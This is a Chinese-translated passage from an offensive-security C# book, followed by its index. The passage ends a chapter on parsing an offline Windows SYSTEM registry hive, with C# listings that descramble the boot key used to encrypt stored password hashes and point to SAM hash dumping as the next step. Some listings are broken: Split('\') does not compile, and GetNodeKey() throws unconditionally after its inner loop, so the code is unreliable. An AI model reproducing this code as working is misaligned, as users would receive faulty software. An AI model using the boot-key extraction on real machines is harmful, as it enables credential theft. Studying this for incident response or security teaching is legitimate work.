一旦我们找到了正确的默认控制集,我们就会遍历包含编码的启动密钥数据的四个值键——JD、Skew1、GBG 和 Data ➋。在遍历过程中,我们通过 GetNodeKey() ➌(我们也将很快实现该方法)找到每个键,逐字节遍历启动密钥数据,并将 ➍ 它追加到总的加密启动密钥中。
一旦我们得到了加密的启动密钥,我们需要解密它,并且可以使用一个简单的算法。列表 14-13 展示了我们如何将加密的启动密钥转换为用于解密密码哈希的密钥。
byte[] skey = ➊StringToByteArray(scrambledKey.ToString());
byte[] descramble = ➋new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
byte[] bootkey = new ➌byte[16];
➍for (int i = 0; i < bootkey.Length; i++)
bootkey[i] = skey[➎descramble[i]];
return ➏bootkey;
}
列表 14-13:完成 GetBootKey() 方法来解密启动密钥
在将加密密钥转换为字节数组以便进一步处理时,我们使用 StringToByteArray() ➊(我们稍后会实现此方法),然后创建一个新的字节数组 ➋ 来解密当前的值。接着,我们创建另一个新的字节数组 ➌ 来存储最终结果,并开始在一个 for 循环 ➍ 中遍历加密密钥,使用 descramble 字节数组 ➎ 来为最终的 bootkey 字节数组找到正确的值。最后的密钥将返回给调用者 ➏。
GetValueKey() 方法
GetValueKey() 方法,如 Listing 14-14 所示,简单地返回注册表文件中给定路径的值。
static ValueKey GetValueKey(➊RegistryHive hive, ➋string path)
{
string keyname = path.➌Split('\').➍Last();
NodeKey node = ➎GetNodeKey(hive, path);
return node.ChildValues.➏SingleOrDefault(v => v.Name == keyname);
}
Listing 14-14: GetValueKey() 方法
这个简单的方法接受一个注册表文件 ➊ 和注册表路径 ➋ 来查找该文件中的节点。我们使用反斜杠字符来分隔注册表路径中的节点,分割 ➌ 路径并将路径的最后一部分 ➍ 作为要查找的值键。然后,我们将注册表文件和路径传递给 GetNodeKey() ➎(下文实现),该方法会返回包含该键的节点。最后,我们使用 LINQ 方法 SingleOrDefault() ➏ 从节点的子值中返回值键。
GetNodeKey() 方法
GetNodeKey() 方法比 GetValueKey() 方法稍微复杂一些。如 Listing 14-15 所示,GetNodeKey() 方法会遍历一个注册表文件,直到找到给定的节点键路径并返回节点键。
static NodeKey GetNodeKey(➊RegistryHive hive, ➋string path)
{
NodeKey ➌node = null;
string[] paths = path.➍Split('\');
foreach (string ch in ➎paths)
{
if (node == null)
node = hive.RootKey;
➏foreach (NodeKey child in node.ChildNodes)
{
if (child.Name == ch)
{
node = child;
break;
}
}
throw new Exception("未找到名称为 " + ch + " 的子项");
}
➐return node;
}
Listing 14-15: GetNodeKey() 方法
GetNodeKey() 方法接受两个参数——需要搜索的注册表文件 ➊ 和需要返回的节点路径 ➋,这些路径由反斜杠字符分隔。我们首先声明一个空的节点 ➌ 来跟踪我们遍历注册表树路径时的位置;然后,我们在每个反斜杠字符处分割 ➍ 路径,返回路径段字符串的数组。接下来,我们遍历每个路径段,逐步遍历注册表树,直到找到路径的最后节点。我们使用一个 foreach 循环开始遍历,这个循环将会依次处理 paths 数组 ➎ 中的每个路径段。在遍历每个段时,我们会在 for 循环中使用另一个 foreach 循环 ➏ 来查找路径中的下一个段,直到找到最后一个节点。最后,我们返回 ➐ 我们找到的节点。
StringToByteArray() 方法
最后,我们实现了 StringToByteArray() 方法,它在 Listing 14-13 中被使用。这个非常简单的方法在 Listing 14-16 中详细说明。
static byte[] StringToByteArray(string s)
{
return ➊Enumerable.Range(0, s.Length)
.➋Where(x => x % 2 == 0)
.➌Select(x => Convert.ToByte(s.Substring(x, 2), 16))
.ToArray();
}
Listing 14-16: GetNodeKey() 方法使用的 StringToByteArray() 方法
StringToByteArray() 方法使用 LINQ 将每两个字符的字符串转换为一个字节。例如,如果传入字符串 "FAAF",该方法将返回字节数组 { 0xFA, 0xAF }。使用 Enumerable.Range() ➊ 来遍历字符串中的每个字符,我们通过 Where() ➋ 跳过奇数位置的字符,然后使用 Select() ➌ 将每对字符转换为它们所表示的字节。
获取启动密钥
我们最终可以尝试从系统蜂巢中转储启动密钥。通过调用我们新的 GetBootKey() 方法,我们可以重写之前用于打印根密钥名称的 Main() 方法,改为打印启动密钥。清单 14-17 展示了这一点。
public static void Main(string[] args)
{
RegistryHive systemHive = new ➊RegistryHive(args[0]);
byte[] bootKey = ➋GetBootKey(systemHive);
➌Console.WriteLine("启动密钥: " + BitConverter.ToString(bootKey));
}
清单 14-17:测试 GetBootKey() 方法的 Main() 方法
这个 Main() 方法将打开注册表蜂巢 ➊,它作为唯一的参数传递给程序。然后,将新的蜂巢传递给 GetBootKey() 方法 ➋。保存了新的启动密钥后,我们使用 Console.WriteLine() 打印启动密钥 ➌。
然后,我们可以运行测试代码来打印启动密钥,如清单 14-18 所示。
$ ./ch14_reading_offline_hives.exe ~/system.hive
启动密钥:F8-C7-0D-21-3E-9D-E8-98-01-45-63-01-E4-F1-B4-1E
$
清单 14-18:运行最终的 Main() 方法
成功了!但我们如何确认这就是实际的启动密钥呢?
验证启动密钥
我们可以通过将我们的代码与 bkhive 工具的结果进行比较,来验证代码是否正常工作,bkhive 是一个常用的工具,用于转储系统蜂巢的启动密钥,正如我们所做的那样。在本书的代码仓库中(可以从本书页面的www.nostarch.com/grayhatcsharp/找到)包含了 bkhive 工具的源代码。编译并运行该工具,使用我们一直在测试的同一个注册表蜂巢,应该能验证我们的结果,正如清单 14-19 所示。
$ cd bkhive-1.1.1
$ make
$ ./bkhive ~/system.hive /dev/null
bkhive 1.1.1 由 Objectif Securite 提供
http://www.objectif-securite.ch
原作者:ncuomo@studenti.unina.it
根密钥:CMI-CreateHive{2A7FB991-7BBE-4F9D-B91E-7CB51D4737F5}
默认 ControlSet:001
启动密钥:➊f8c70d213e9de89801456301e4f1b41e
$
清单 14-19:验证我们的代码返回的启动密钥与 bkhive 打印的一致
bkhive 工具验证了我们自己的启动密钥转储工具的完美运行!尽管 bkhive 打印的启动密钥 ➊ 格式略有不同(全部小写且没有连字符),但它打印的数据与我们的一致(F8C70D21...)。
你可能会疑问,为什么要通过 C#类来导出启动密钥,而不直接使用 bkhive 工具呢?bkhive 工具是高度专用的,它只会读取注册表蜂巢的特定部分,但我们实现的类可以用来读取注册表蜂巢的任何部分,例如密码哈希值(这些哈希值是用启动密钥加密的!)和补丁级别信息。我们的类比 bkhive 工具更加灵活,如果你想扩展你的应用程序,它们还可以作为起点使用。
结论
一个针对进攻或事件响应的注册表库的显而易见的下一步是导出实际的用户名和密码哈希值。获取启动密钥是这其中最困难的部分,但它也是唯一需要使用 SYSTEM 注册表蜂巢的步骤。导出用户名和密码哈希值则需要使用 SAM 注册表蜂巢。
阅读注册表蜂巢(以及其他二进制文件格式)是一个重要的 C#技能。事件响应和进攻安全专业人员通常必须能够实现读取和解析各种格式的二进制数据的代码,这些数据可能通过网络传输或存储在磁盘上。在本章中,你首先学习了如何导出注册表蜂巢,以便我们可以将它们复制到其他机器上并离线读取。然后,我们实现了使用 BinaryReader 读取注册表蜂巢的类。在这些类构建完成后,我们能够读取离线蜂巢并打印根密钥名称。接着,我们更进一步,导出了启动密钥,该密钥用于加密存储在 Windows 注册表中的密码哈希值,导出自系统蜂巢。
第十五章
索引
A
抽象类
抽象 Task 类, 160–161
已定义, 4
从...子类化, 5–6
抽象语法树(AST), 243
匿名方法
将委托分配给方法, 9
可选参数, 10–11
更新 Firefighter 类, 9–10
更新 Main() 方法, 11–12
API(应用程序接口)
Arachni REST API, 224–228
Cuckoo 沙箱, 148–150
Nessus, 103–105
Nexpose
NexposeManager 类, 124–125
NexposeSession 类, 118–124
RPC API, 208–209
sqlmap REST API, 169–173
Arachni, 223
arachni_rpcd 脚本, 229
arachni_rpc 脚本, 229
安装, 223–224
Main() 方法, 237–239
REST API, 224–228
ArachniHTTPManager 类, 226–228
ArachniHTTPSession 类, 225–226, 228
RPC, 228–237
ArachniRPCManager 类, 236–237
ArachniRPCSession 类, 230–234
ExecuteCommand() 方法, 234–235
ArachniHTTPManager 类, 226–228
ArachniHTTPSession 类, 225–226, 228
ArachniRPCManager 类, 236–237
ArachniRPCSession 类, 230–234
资产(Nexpose), 118, 126–127
AST(抽象语法树), 243
已定义的属性, 13
Authenticate() 方法
MetasploitSession 类, 213
NessusSession 类, 105–106
NexposeSession 类, 119–120
身份验证
Metasploit RPC API, 208, 213–214
NessusSession 类, 105–109
NexposeManager 类, 124–125
NexposeSession 类, 118–120
OpenVASSession 类,135–136
B
BadStore ISO
从启动 VM,17–18
模糊化 POST 请求,25–31
参数,29–31
写入请求,27–29
sqlmap 工具和,182,184–185
绑定有效负载,85–86
接受数据,86
从流中执行命令,87–88
返回输出,87
运行命令,87
位掩码,194
bkhive 工具,263–264
闲置 SQL 注入,43–44
创建真/假响应,44
GetValue() 方法,49–50
MakeRequest() 方法,47
打印值,50–51
获取值的长度,47–49
基于布尔值的盲 SQL 注入。参见 闲置 SQL 注入
启动键,转储
GetBootKey() 方法,259–261,262–263
GetNodeKey() 方法,261–262
GetValueKey() 方法,261
StringToByteArray() 方法,262
验证启动键,263–264
Burp Suite,25–27
C
C# 语言
匿名方法,9–12
将委托分配给方法,9
可选参数,10–11
更新 Firefighter 类,9–10
更新 Main() 方法,11–12
类,4,6–7
接口,4–7
Main() 方法,7–9
本地库,12–13
类型和语法,2–3
子节点
注册表 Hive,250,254–257
SOAP,58–67
CIL(通用中间语言)字节码,245
cl_scanfile() 函数(ClamEngine 类),198–200
ClamAV,191
clamd 守护进程,201–206
ClamdManager 类,204–205
ClamdSession 类,203–204
安装,202
启动,202–203
测试,205–206
安装,192–193
本地库,193–201
访问函数,196–200
ClamEngine 类,197–198
类,195
Dispose() 方法,198–200
枚举,194–195
扫描文件,198–200
测试,200–201
ClamBindings 类,196
ClamDatabaseOptions 枚举,194
clamd 守护进程,201–202
ClamdManager 类,204–205
ClamdSession 类,203–204
安装,202
启动,202–203
测试,205–206
ClamdManager 类(clamd 守护进程),204–205
ClamdSession 类(clamd 守护进程),203–204
ClamEngine 类,197–198
ClamReturnCode 枚举,195
ClamScanOptions 枚举,195
类,6–7
摘要,4,5–6,160–161
ClamAV 本地库,195
定义,4
通用中间语言(CIL)字节码,245
CONCAT() SQL 函数,39–40
反向连接有效载荷
网络流,82–84
运行,84–85
运行命令,84–85
构造函数,6
CreateOrUpdateSite() 方法(NexposeManager 类),126–127
CreateSimpleTarget() 方法(OpenVASManager 类),141–142
CreateSimpleTask() 方法(OpenVASManager 类),143
CreateTask() 方法(CuckooManager 类),157–158
跨站脚本攻击(XSS),20–22
CsharpVulnJson Web 应用捕获易受攻击的 JSON 请求,31–33
JSON 模糊测试器
创建,33–37
测试,37–38
设置易受攻击的设备,31
CsharpVulnSoap 网络应用,54,78–79。另见 SOAP 端点 Cuckoo Sandbox,147
创建文件分析任务,163–164
CuckooManager 类,157–162
抽象 Task 类,160–161
CreateTask() 方法,157–158
报告方法,159–160
排序并创建不同的类类型,161–162
任务详情,159
CuckooSession 类,151–157
使用 GetMultipartFormData() 方法创建多部分 HTTP 数据,153–155
FileParameter 类,155
测试,156–157
编写 ExecuteCommand() 方法以处理 HTTP 请求,151–153
手动运行 API,148–150
设置,148
测试应用,164–165
curl 命令行工具
测试 Arachni REST API,225
测试 Cuckoo 状态,149–150
测试 Nexpose API,118
测试 sqlmap API,170–173
D
DateTime 类,3
反编译器,242–245
DecompressData() 方法(ArachniRPCSession 类),233
委托,分配给方法,9
DeleteSite() 方法(NexposeManager 类),128
DeleteTask() 方法(SqlmapManager 类),178–179
反序列化,175
调度器(RPC 框架),230
Dispose() 方法
ArachniRPCSession 类,234
ClamAV 本地库,198–200
ClamEngine 类,200
CuckooManager 类,160
MetasploitSession 类,216
NessusSession 类,107–108
NexposeSession 类,123
SqlmapManager 类,178
SqlmapSession 类,174
转储引导密钥
GetBootKey() 方法,259–261,262–263
GetNodeKey() 方法, 261–262
GetValueKey() 方法, 261
StringToByteArray() 方法, 262
验证启动密钥, 263–264
E
EICAR 文件, 200–201
端点
SOAP。参见 SOAP 端点
sqlmap API, 167
枚举(ClamAV), 194–195
ExecuteCommand() 方法
ArachniRPCSession 类, 234–235
CuckooSession 类, 151–153
NexposeSession 类, 120–123
OpenVASSession 类, 136–137
ExecuteGet() 方法(SqlmapSession 类), 174–175
Execute() 方法
ClamdSession 类, 203–204
MetasploitSession 类, 213–215
MSGPACK 库, 210
ExecuteModule() 方法(MetasploitManager 类), 219
ExecutePost() 方法(SqlmapSession 类), 175
ExecuteRequest() 方法(ArachniHTTPSession 类), 226
利用 SQL 注入
基于布尔值的盲注 SQL 注入, 43–51
基于 UNION 的, 38–43
F
FileParameter 类(CuckooSession 类), 155
FileTask 类(Cuckoo Sandbox), 161–162
First() 方法(反向连接有效负载), 84
for 循环
子节点和, 256–257
方法和, 50–51
获取用户数据库的数据库计数长度, 45–46
发送有效负载到, 47
函数
ClamAV 原生库, 196–200
声明, 13
从 libc 导入, 98–99
SQL, 39–40, 46
模糊测试工具, 15–16。另见跨站脚本攻击模糊测试, 20–22
SOAP, 185–190
FuzzHttpGetPort() 方法
模糊测试 SOAP 服务, 70–72
sqlmap 工具, 189
FuzzHttpPort() 方法(模糊测试 SOAP 服务), 69
FuzzHttpPostPort() 方法
模糊测试 SOAP 服务, 72–75
sqlmap 工具, 189–190
模糊测试
定义, 16
使用突变模糊测试工具的 GET 请求,22–25
JSON,31–38
捕获易受攻击的 JSON 请求,31–33
HTTP 请求,33–34,35–37
遍历键/值对,34–35
设置易受攻击的设备,31
测试,37–38
POST 请求,25–31
参数,29–31
编写请求,27–29
用于 SQL 注入漏洞的 SOAP 端点,68–79
HTTP POST SOAP 端口,72–75
单独的 SOAP 服务,69–72
运行模糊测试工具,78–79
SOAP XML 端口,75–78
SQL 注入,19–20,38–51
虚拟机,16–18
添加仅主机虚拟网络,16
从 BadStore ISO 启动,17–18
创建,17
FuzzService() 方法(SOAP 服务),69
FuzzSoapPort() 方法
测试 SOAP 服务,75–78
sqlmap 工具,188–189
G
get_version 命令(OpenVASSession 类),139
GetBootKey() 方法,259–261,262–263
GetLength() 方法(盲注 SQL 注入),47–49
GetLog() 方法(SqlmapLogItem 类),183–184
GetMultipartFormData() 方法(CuckooSession 类),153–155
GetNodeKey() 方法,261–262
GetObject() 方法(MetasploitSession 类),216
GetOptions() 方法(SqlmapManager 类),179
GetPdfSiteReport() 方法(NexposeManager 类),128
GetProgress() 方法(ArachniRPCManager 类),237
GET 请求
将 sqlmap GET 请求支持添加到 SOAP 模糊测试工具,185–187
使用突变模糊测试工具进行模糊测试,22–25
sqlmap REST API,169–170
使用 WebRequest 方法执行,174–175
GetScanConfigurations() 方法(OpenVASManager 类),141–142
GetScanStatus() 方法
ArachniHTTPManager 类,227–228
NexposeManager 类,127
SqlmapStatus 类,181–182
GetStream() 方法
ArachniRPCSession 类,233
OpenVASSession 类,138
GetTaskDetails() 方法(CuckooManager 类),159,163
GetTaskReport() 方法(CuckooManager 类),159,163
GetTaskResults() 方法(OpenVASManager 类),143–144
GetTasks() 方法(OpenVASManager 类),143–144
GetValueKey() 方法,261
GetValue() 方法(盲注 SQL 注入),49–50
GetVersion() 方法(ClamdManager 类),205
全局唯一 ID(Guid),110
H
Hello World 示例,2–3
主机专用虚拟网络,添加到虚拟机,16
HTTP 请求
构建,23–24
DELETE,167
GET 请求
向 SOAP fuzzer 添加 sqlmap GET 请求支持,185–187
使用突变模糊测试进行模糊测试,22–25
sqlmap REST API,169–170
使用 WebRequest 方法执行,174–175
JSON
捕获漏洞,31–33
Fuzz() 方法,35–37
读取,33–34
NessusSession 类,106–107
NexposeSession 类,120–121
POST
模糊测试,25–31,72–75
集成 sqlmap 工具,187–188
参数,28
sqlmap API,167,170–172
PUT,167
REST APIs 和,104
编写 ExecuteCommand() 方法来处理,151–153
HTTP 响应(NexposeSession 类),121–123
HttpWebRequest 类,24,36,42
I
集成开发环境(IDEs),1–2,210
IL(中间语言),246
ILSpy 反编译器,242
实例
已定义,4
RPC 框架,230
实例化对象,24
集成开发环境(IDEs),1–2,210
接口,已定义,4–7
中间语言(IL),246
int.Parse() 方法,83,176
IsBusy() 方法(ArachniRPCManager 类),237
J
JavaScript 对象表示法。参见 JSON
Join() 方法(回连负载),84
JSON(JavaScript 对象表示法)。参见 sqlmap 工具
模糊测试
捕获易受攻击的 JSON 请求,31–33
HTTP 请求,33–34,35–37
遍历键/值对,34–35
设置易受攻击的设备,31
测试,37–38
Json.NET 库,34,51
JsonConvert 类,181
SqlmapManager 类,177–179
SqlmapSession 类,176–177
K
kernel32.dll 库,96–98
L
语言集成查询。参见 LINQ
Level 属性(SqlmapLogItem 类),182–183
库
ClamAV,193–201
访问函数,196–197
ClamEngine 类,197–198
类,195
Dispose() 方法,198–200
枚举,194–195
扫描文件,198–200
测试,200–201
Json.NET,34,51
JsonConvert 类,181
SqlmapManager 类,177–179
SqlmapSession 类,176–177
MSGPACK,209–210
安装,211
NuGet 包管理器,210
引用,211–212
面向对象关系映射(ORM),20,242–244
LINQ(语言集成查询)
Descendants() 方法,145
LINQ to XML 类,76
有效载荷与,87
Single() 方法,69,70
StringToByteArray() 方法,262
System.Linq 命名空间,84
Linux
BadStore ISO,16,17–18,25–31
ClamAV 库,193–201
执行原生 Linux 有效载荷,98–102
生成 Metasploit 有效载荷,96
安装 ClamAV,192
printf() 函数,13
LogOut() 方法
NessusSession 类,107–108
NexposeSession 类,121–123
long.Parse() 方法,176
M
Main() 方法,7–9
Arachni,237–239
ClamdManager 类,205
Cuckoo 沙箱,156,163
Metasploit,219–220
注册表配置单元,259,263
SOAP 端点模糊测试,68
SqlmapManager 类,182
测试 GetBootKey() 方法,263
MakeRequest() 方法
Blind SQL 注入,47
NessusSession 类,106–107
管理程序集,241
ILSpy,242
monodis 程序,245–247
NuGet 包,242–244
测试反编译器,244–245
管理代码,96
Marshal.Copy() 方法(有效载荷),101–102
Marshal.GetDelegateForFunctionPointer() 方法(有效载荷),101–102
MessageBox() 函数(Windows),13
MessagePackToDictionary() 方法(MetasploitSession 类),215
Message 属性(SqlmapLogItem 类),182
Metasploit,207
与 Shell 交互,221–222
MSGPACK 库,209–212
安装,211
NuGet 包管理器,210
引用,211–212
有效负载
执行本地 Linux 有效负载,98–102
生成,96
设置,94–96
非托管代码,96–98
RPC API,208–209
运行漏洞利用,220–221
Metasploitable 2,209
MetasploitManager 类,217–219
MetasploitSession 类,212–213
Execute() 方法,213–215
测试,217
转换响应数据,215–217
方法重载,151–152
方法
将委托分配给,9
定义,4
MID() SQL 函数,46
MonoDevelop
安装,2
安装 MSGPACK 库,210–212
monodis 程序,245–247
Mono 框架。请参阅托管程序集
msfvenom 工具(Metasploit),96,103
MSGPACK 库,209–210
安装,211
NuGet 包管理器,210
引用,211–212
变异模糊测试器
定义,15
使用模糊测试 GET 请求,22–25
N
Name 属性(SoapMessage 类),59,61
命名空间
定义,3
SOAP XML,76
System.Linq 命名空间,84
XML,56–57
本地库,12–13。另见本地 x86 汇编库,241。另见托管程序集 Nessus,103–104
NessusManager 类,109–110
NessusSession 类,105–109
HTTP 请求,106–107
登出,107–108
测试,108–109
执行扫描,110–113
REST 架构,104–105
.NET 库。请参阅托管程序集
网络流
绑定有效负载,85–88
反向连接有效负载,82–84
NewTask() 方法(SqlmapManager 类), 178–179
Nexpose, 115
自动化漏洞扫描, 126–127, 130
安装, 116–118
NexposeManager 类, 124–125
NexposeSession 类, 118–124
身份验证 API, 124
Dispose() 方法, 123
ExecuteCommand() 方法, 120–123
查找 API 版本, 123–124
Logout() 方法, 121–123
PDF 站点报告, 128, 130
执行扫描, 129
NodeKey 类(注册表蜂巢), 250, 253–257
O
面向对象语言, 3
对象关系映射(ORM)库, 20, 242–244
对象,已定义, 4
OMP(OpenVAS 管理协议), 133
OpenVAS, 133
安装, 134
OpenVASManager 类, 140–145
自动化, 144–145
CreateSimpleTarget() 方法, 141–142
CreateSimpleTask() 方法, 143
GetScanConfigurations() 方法, 141–142
GetTaskResults() 方法, 143–144
GetTasks() 方法, 143–144
StartTask() 方法, 143
OpenVASSession 类, 134–139
身份验证, 135–136
ExecuteCommand() 方法, 136–137
get_version 命令, 139
GetStream() 方法, 138
ReadMessage() 方法, 137–138
SSL 证书验证, 138–139
OpenVAS 管理协议(OMP), 133
可选参数, 10–11
ORD() SQL 函数, 46
ORM(对象关系映射)库, 20, 242–244
OS X
ClamAV 库, 192, 196
.NET 反编译器, 242
Xamarin Studio, 2
P
Packer 类(Metasploit), 214
参数,模糊测试, 29–31
参数属性(SoapMessage 类), 59
父类,定义, 4
ParseChildNodes() 方法(NodeKey 类), 256–257
ParseMessages() 方法(WSDL 类构造函数), 57–58, 62
Parse() 方法
反向连接载荷, 83
int.Parse() 方法, 83, 176
long.Parse() 方法, 176
ParseChildNodes() 方法, 256–257
ParseMessages() 方法, 57–58, 62
ParseTypes() 方法, 56–57
short.Parse() 方法, 176
ParseTypes() 方法(WSDL 类构造函数), 56–57
解析
注册表 Hive, 252–259
WSDL XML 文档, 55–67
SoapBinding 类, 64–65
SoapBindingOperation 类, 65–66
SoapMessage 类, 60–61
SoapMessagePart 类, 61–62
SoapOperation 类, 63–64
SoapPortType 类, 62–63
SoapService 类, 66–67
SoapType 类, 58–60
编写初始解析方法, 56–58
WSDL 类构造函数, 55–56
载荷, 81–82
绑定, 85–88
接受数据, 86
从流中执行命令, 87–88
返回输出, 87
执行命令, 87
反向连接载荷, 82–85
网络流, 82–84
运行, 84–85
执行命令, 84–85
Metasploit, 94–102
执行本地 Linux 载荷, 98–102
以非托管代码执行本地 Windows 载荷, 96–98
生成, 96
设置, 94–96
使用 UDP 攻击网络, 88–94
攻击者的代码, 92–94
目标机器的代码, 89–91
PDF 站点报告(Nexpose), 128, 130
平台调用(P/Invoke), 12, 193
端口(WSDL), 55
HTTP POST SOAP 端口, 72–75
SOAP XML 端口, 75–78
posix_memalign() 函数, 99–101
向 SOAP 服务发送 POST 参数, 74–75
POST 请求
模糊测试, 25–27
参数, 29–31
写入请求, 27–29
集成 sqlmap 工具, 187–188
sqlmap REST API, 170–172
printf() 函数(Linux), 13
Process 类
绑定有效负载, 87–88
反向连接有效负载, 84–85
通过 UDP 进行网络攻击, 91
ProcessStartInfo 类
绑定有效负载, 87–88
反向连接有效负载, 84–85
通过 UDP 进行网络攻击, 91
属性,已定义, 4
Python
Cuckoo Sandbox 和, 147, 149
sqlmap, 168, 170
R
Rapid7
Metasploit, 94
Nexpose, 115–116
ReadChildrenNodes() 方法(NodeKey 类), 255–256
ReadChildValues() 方法(NodeKey 类), 257
ReadInt32() 方法(NodeKey 类), 255
ReadMessage() 方法
ArachniRPCSession 类, 233, 235
OpenVASSession 类, 137–138
ReadNodeStructure() 方法(NodeKey 类), 254–255
正则表达式类(SQL 注入), 42–43
RegistryHive 类, 252–253
注册表 hive, 249–250
转储启动密钥, 259–264
GetBootKey() 方法, 259–261, 262–263
GetNodeKey() 方法, 261–262
GetValueKey() 方法,261
StringToByteArray() 方法,262
验证启动密钥,263–264
导出,250–252
阅读,252–259
NodeKey 类,253–257
RegistryHive 类,252–253
ValueKey 类,258–259
结构,250
测试,259
远程过程调用 API。参见 RPC API
REST(表述性状态转移)架构。另见 sqlmap 工具 Arachni 和,224–228
Cuckoo Sandbox 和,148–150
Nessus 和,104–105
sqlmap,169–170
RLIKE 关键字(盲 SQL 注入),43–44
调用方法,50–51
创建真假响应,44
GetValue() 方法,49–50
MakeRequest() 方法,47
打印值,50–51
检索值的长度,47–49
userdb 表,45–47
用于匹配搜索条件,44–45
根节点密钥(注册表蜂窝),250
RPC(远程过程调用)API
Arachni,228–237
ArachniRPCManager 类,236–237
ArachniRPCSession 类,230–234
ExecuteCommand() 方法,234–235
手动运行,229–230
Metasploit,208–209
Ruby 编程语言
Arachni 网络应用,223
Metasploit,94–96
Ruby 版本管理器(RVM),95
S
ScanFile() 方法(ClamEngine 类),198–200
Scan() 方法(ClamdManager 类),205
扫描
ClamAV 库,198–200
在 Nessus 中,110–113
在 Nexpose 中,126–127,129
sqlmap 扫描日志,172
ScanSite() 方法(NexposeManager 类),127
SDLC(软件开发生命周期),224
SelectNodes() 方法(WSDL 类构造函数),57
SELinux, 100
SerializeObject() 方法(JsonConvert 类),181
shell,与 Metasploit 交互,221–222
short.Parse() 方法,176
简单对象访问协议(SOAP),19。另见 SOAP 端点;SOAP 模糊测试器 Single() 方法(LINQ),69,70
Skip() 方法(回连有效载荷),84
SOAP(简单对象访问协议),19。另见 SOAP 端点;SOAP 模糊测试器 SOAPAction HTTP 头(SOAP 端点),77–78
SoapBinding 类(WSDL),64–65
SoapBindingOperation 类(WSDL),65–66
SOAP 端点,53–54
自动化模糊测试 SQL 注入漏洞,68–79
HTTP POST SOAP 端口,72–75
个别 SOAP 服务,69–72
运行模糊测试器,78–79
SOAP XML 端口,75–78
解析 WSDL XML 文档,55–67
类构造函数,55–56
SoapBinding 类,64–65
SoapBindingOperation 类,65–66
SoapMessage 类, 60–61
SoapMessagePart 类,61–62
SoapOperation 类,63–64
SoapPortType 类,62–63
SoapService 类,66–67
SoapType 类,58–60
编写初步解析方法,56–58
设置易受攻击的端点,54
SOAP 模糊测试器
调用新方法, 188–190
GET 请求,185–187
POST 请求,187–188
SoapMessage 类(WSDL),57,60–61
SoapMessagePart 类(WSDL),61–62
SoapOperation 类(WSDL),63–64
SoapPortType 类(WSDL),62–63
SoapService 类(WSDL),66–67
SoapType 类(WSDL),58–60
SoapTypeParameter 类(WSDL),60
SOAP XML 端口,模糊测试,75–78
Socket 类, 网络攻击通过 UDP, 89
软件开发生命周期(SDLC), 224
Split() 方法(反向连接有效载荷), 84
SQL(结构化查询语言)。参见 SQL 注入;sqlmap 工具 SQL 注入, 19–20
利用
基于布尔值的盲 SQL 注入, 43–51
基于 UNION, 38–43
模糊测试 SOAP 端点漏洞, 68–79
HTTP POST SOAP 端口, 72–75
独立的 SOAP 服务, 69–72
运行模糊测试器, 78–79
SOAP XML 端口, 75–78
SqlmapLogItem 类, 182–183
SqlmapManager 类, 177–179
Main() 方法, 182
选项, 179–180
执行扫描, 180–182
SqlmapSession 类, 173–174
ExecuteGet() 方法, 174–175
ExecutePost() 方法, 175
测试, 176–177
SqlmapStatus 类, 181–182
sqlmap 工具, 167–168
自动化扫描, 183–185
与 SOAP 模糊测试器集成, 185–190
调用新方法, 188–190
GET 请求, 185–187
POST 请求, 187–188
报告扫描, 182–183
正在运行, 168–173
sqlmap REST API, 169–170
使用 curl 测试 sqlmap API, 170–173
SqlmapManager 类, 177–179
Main() 方法, 182
选项, 179–180
执行扫描, 180–182
SqlmapSession 类, 173–174
ExecuteGet() 方法, 174–175
ExecutePost() 方法, 175
测试, 176–177
SSL 证书验证(OpenVASSession 类), 138–139
StartScan() 方法
ArachniHTTPManager 类, 227–228
ArachniRPCManager 类, 237
StartTask() 方法
OpenVASManager 类, 143
SqlmapManager 类,180
有状态协议,85–88
无状态协议,88
静态网站(Nexpose),118
StreamReader 类构造函数(反向连接有效载荷),83
StreamReader ReadLine() 方法(反向连接有效载荷),83
字符串类型选项(monodis 程序),245
StringToByteArray() 方法,262
结构化查询语言。参见 SQL 注入;sqlmap 工具子类,4–6
System.Linq 命名空间(反向连接有效载荷),84
T
TaskFactory 类(Cuckoo Sandbox),162
TCP(传输控制协议)
有效载荷,81–82
绑定,85–88
反向连接有效载荷,82–85
UDP 与,88–89
TcpClient 类
clamd 守护进程,203
反向连接有效载荷,82–84
TcpListener 类(绑定有效载荷),85–86
Tenable 网络安全,103
TestGetRequestWithSqlmap() 方法(SOAP 测试器),185–187
测试
ClamAV 库,200–201
clamd 守护进程,205–206
GetBootKey() 方法,263
JSON 测试器,37–38
MetasploitSession 类,217
NessusSession 类,108–109
Nexpose,118
注册表蜂巢,259
SqlmapSession 类,176–177
TestPostRequestWithSqlmap() 方法(SOAP 测试器),187–188
Time 属性(SqlmapLogItem 类),183
TLS(传输层安全性),121
传输控制协议。参见 TCP
U
Ubuntu,94
UDP(用户数据报协议)
TCP 与,88–89
用于攻击网络,88–94
攻击者代码,92–94
目标机器的代码,89–91
UdpClient 类,89
基于 UNION 的 SQL 注入
手动执行漏洞利用,38–40
程序化执行漏洞利用,40–43
使用有效负载构建 URL,41–42
创建标记以查找用户名和密码,41
发起 HTTP 请求,42–43
非托管代码,96–98
用户数据报协议。参见 UDP
使用关键字,24
V
ValidateServerCertificate() 方法(ArachniRPCSession 类),233
ValueKey 类(注册表 Hive),250, 258–259
VirtualAlloc() 函数,96–98
VirtualBox 虚拟化软件,16, 209。另见 VMs 虚拟机。参见 VMs
Visual Studio IDE(微软),1–2
虚拟机(VMs),12–13
添加仅主机虚拟网络,16
从 BadStore ISO 启动,17–18
创建,17
漏洞扫描器
Nessus,103–113
NessusManager 类,109–110
NessusSession 类,105–109
执行扫描,110–113
REST 架构及,104–105
Nexpose,115–131
自动化漏洞扫描,126–127, 130
安装,116–118
NexposeManager 类,124–125
NexposeSession 类,118–124
PDF 网站报告, 128, 130
执行扫描,129
OpenVAS,134–145
安装,134
OpenVASManager 类,140–145
OpenVASSession 类,134–139
W
Web 服务描述语言 XML 文档,解析。参见 WSDL XML 文档,解析 while 循环
反向连接有效负载,83
通过 UDP 进行网络攻击,89–90
Windows
ClamAV 库,192, 196
执行本地 Windows 有效负载作为非托管代码,96–98
生成 Metasploit 有效负载,96
ILSpy 反编译器,242
kernel32.dll 库,96–97
MessageBox() 函数,13
注册表配置单元,249–250
转储启动密钥,259–264
导出,250–252
读取,252–259
结构,250
测试,259
WSDL(Web 服务描述语言)XML 文档,解析,55
类构造函数,55–56
SoapBinding 类,64–65
SoapBindingOperation 类,65–66
SoapMessage 类,60–61
